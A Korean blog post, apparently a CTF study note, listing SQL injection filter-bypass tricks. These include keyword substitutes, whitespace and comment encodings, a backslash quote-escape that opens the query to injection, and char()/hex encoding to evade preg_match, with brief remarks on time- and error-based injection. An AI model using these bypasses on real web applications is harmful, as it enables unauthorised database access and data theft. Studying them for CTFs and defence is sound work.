티스토리 뷰
~~ing
1. and, or
&&, ||
2. substr, substring
mid 또는 left, right
1) mid('string', 2, 1) ='t'
2) left, right
left(right('string',5),1)='t'
3. ord 우회
1) ascii, hex 사용 가능
ord(substr(pwstring,1,1))=ascii(substr(pwstring,1,1))
2) hex('a')=61
3) conv(N,from_base,to_base) 사용
4) bin('admin') = 0b110000101100100011011010110100101101110
-> 다 필터링되어 있을 때 : binary 함수 사용하여 대소문자 구분 가능
4. =
like, between, in, instr
ex) where id like "admin"
where id like "%admin%"
ex) where id in ("admin")
5. 공백
/**/,+,%09,%0a,%0c,%0b,()
ex) idx=(2)or(path='/flag')
6. ' (작은따옴표)
특수 문자를 일반 문자화 시키는 \문자를 이용하여 우회 가능.
ex) query=select * from table where id='{$id}' and pw='{%pw}' 일 때
id의 맨 끝 입력값에 \ 문자를 삽입하면
query=select * from table where id='{$id}' and pw='{%pw}'
색칠한 부분이 문자열로 인식되고, 이를 이용하여 쿼리를 삽입 가능함.
7. information
방법이 없는 것으로 알고 있음..
8. 주석
#, -- (맨 끝에 공백 삽입 필요), ;%00
또한 #를 url encoding한 값 %23를 사용할 수도 있으나.. 보통은 #가 막혀있으면 같이 막혀있음
9. limit
1) group by + having
2) group_concat
10. 문자열에 대한 우회
- preg_match 사용하는 경우
i 옵션이 적용되어 있지 않아 대소문자 구분을 하지 않는다면 fLaG와 같은 식으로 우회가 가능하지만,
(쿼리문에서는 대소문자에 대한 구분이 없어서 가능한 방식)
대부분의 경우에는 i 옵션이 적용되어 있음
데이터베이스 함수인 char, hex 함수를 이용하여 우회 가능
ex) "flag" 문자열을 우회할 때
char(102,108,97,103)
char(0x666c6167)
++
time_injection 공격 시
sleep 에 대한 필터링이 걸려 있어도 이 함수를 이용하여 공격이 가능할 수 있음 .
-> 필터링이 어느 시점에 되어 있는지에 따라 다름.
++
error_based_injection 공격 시
(데이터베이스의 종류에 따라 다름. mysql 기준으로 작성)
'hacking > WEB hacking' 카테고리의 다른 글
SuperSecure OTP (0) | 2021.07.27 |
---|---|
chall05 (0) | 2021.07.23 |
curl (0) | 2021.07.05 |
baby-sqlite (0) | 2021.06.28 |
blind-command (0) | 2021.06.28 |
- Total
- Today
- Yesterday
- Sort
- HashSet
- 동적계획법
- dp
- 참조 지역성
- 누적 합
- Segment Tree
- prirotyqueue
- 분할 정복
- 완전탐색
- 부분 합
- 배낭 문제
- Knapsack
- LowerBound
- 구간 합
- dfs
- 페르마의 정리
- 비트마스킹
- 위상 정렬
- 분할정복
- MinHeap
- MaxHeap
- 완전 탐색
- 백트래킹
- 희소 배열
- 최단 거리
- RequiredArgsConstructor
- Priority Queue
- Greedy
- 이분탐색
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |